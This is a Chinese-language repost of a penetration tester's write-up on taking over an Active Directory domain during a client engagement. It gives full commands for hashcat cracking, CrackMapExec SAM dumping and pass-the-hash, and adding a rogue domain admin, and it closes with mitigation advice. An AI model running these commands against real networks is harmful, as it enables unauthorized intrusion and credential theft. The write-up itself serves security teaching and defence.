安全路透社
当前位置:安全路透社 > 网络转载 > 正文

从外部Active Directory获取域管理员

这是我在博客发的第一篇非web类的博文。我曾是一名Web开发人员,我对信息安全的兴趣也从 web 开始。从最初的兼职到如今的全职,活动目录(Active Directory)测试已成为我最喜欢的渗透测试类型。

这篇文章是关于我在今年早些时候为客户做内网测试的情景。这个客户的网络情况非常的复杂,而且之前我已做过测试,因此我有点担心我无法完成这个测试任务。而在此之前我们仅仅只是管理它。

我在内网跑的第一个工具是Responder。该工具将会为我获取本地子网上的LLMNR或NetBIOS请求中的Windows散列。但不幸的是管理员竟然禁用了LLMNR和NetBIOS请求。尽管从之前的测试中已经预料到了这种情况,但在OSCP课程中我学到一个道理 – 就是如果门是敞开的,破窗而入就没有任何意义。

运行Responder后,我捕获到了以下哈希值这是我非常震惊:

从外部Active Directory获取域管理员

以上显示的信息均已做过特殊处理,保护客户的隐私是安全测试人员的职责。

在这里,我们可以看到主机172.16.157.133向我们发送了帐户FRONTDESK的NETNTLMv2哈希值。

使用Crack Map Exec检查此主机的NetBIOS信息(也可用其它工具),我们可以检查这是否是本地帐户哈希。 如果是的话,则“domain”部分就是用户名了:

[SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK

即2-FD-87622应与主机的NetBIOS名称匹配(这种情况下)。使用CME查找IP,我们可以看到主机匹配的名称:

从外部Active Directory获取域管理员

接下来我们来尝试破解这个散列以获取明文密码。在Hashcat的帮助下,密码很快就被破解了出来。

hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

从外部Active Directory获取域管理员

现在我们已经获取到了front desk机器的凭据了。我们再次使用CME扫描,但不同的是这次我们传递了已破解的凭据:

cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth

从外部Active Directory获取域管理员

我们可以看到Pwn3d!从结果可以得知这是一个本地的管理员帐户。这意味着我们现在拥有了dump本地密码散列的权限:

cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam

从外部Active Directory获取域管理员

注意看

FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f:::

这一次,我们看到的是密码的NTLM哈希值,而不是Responder之前捕获的NETNTLMv2“challenge/response”哈希值。Responder捕获的散列,与Windows在SAM中存储的格式并不同。

下一步我们开始来使用这个本地管理员哈希。这里需要特别说明的是,我们并不需要特意去破解这个哈希,可以直接通过哈希传递的方式来利用它:

cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth

从外部Active Directory获取域管理员

我们只能使用存储的NTLM格式传递哈希值,而不是NETNTLMv2网络格式(除非你想执行“SMB中继”攻击)。

令我们惊讶的是,STEWIE机器使用的密码与本地管理员密码相同。 查询此主机的NetBIOS信息:

$ cme smb 172.16.157.134 
SMB         172.16.157.134  445    STEWIE           
[*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE)
(signing:False) (SMBv1:True)

我们可以看到它是MACFARLANE域的成员,并且是客户端Active Directory的主要域。

也就是说,一台域外机器的本地管理员密码在内部服务器被重用。现在,我们可以通过Metasploit PsExec模块,将NTLM哈希作为密码传递给目标机器登录并控制机器:

从外部Active Directory获取域管理员

成功执行后我们得到了一个shell:

从外部Active Directory获取域管理员

我们可以加载Mimikatz模块,读取Windows内存查找密码:

从外部Active Directory获取域管理员

现在我们获取到了DA(域管理员)帐户的详细信息。最后,我们使用CME在域控制器上执行命令,将自己添加为一个DA(纯粹是为测试,在实际渗透中为了更加隐蔽,我们可以使用已发现的帐户)。

cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add'

从外部Active Directory获取域管理员

请注意,以上命令中的/y参数的作用是让Windows允许我们添加的密码长度大于14个字符。

进入到域控制器远程桌面的截图,可以作为成功利用的证据写进报告:

从外部Active Directory获取域管理员

针对这次测试中的问题,我的建议是禁用LLMNR(在策略中),这样攻击者就不会获取初始的访问权限,直至对整个域的渗透。当然除了禁用LLMNR外还有其它的防护措施,例如使用LAPS管理本地管理员密码,并设置FilterAdministratorToken防止本地RID 500帐户进行SMB登录(这里有一篇相关的技术文章大家可以参考)。

*参考来源:markitzeroday,FB小编 secist 编译

未经允许不得转载:安全路透社 » 从外部Active Directory获取域管理员

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册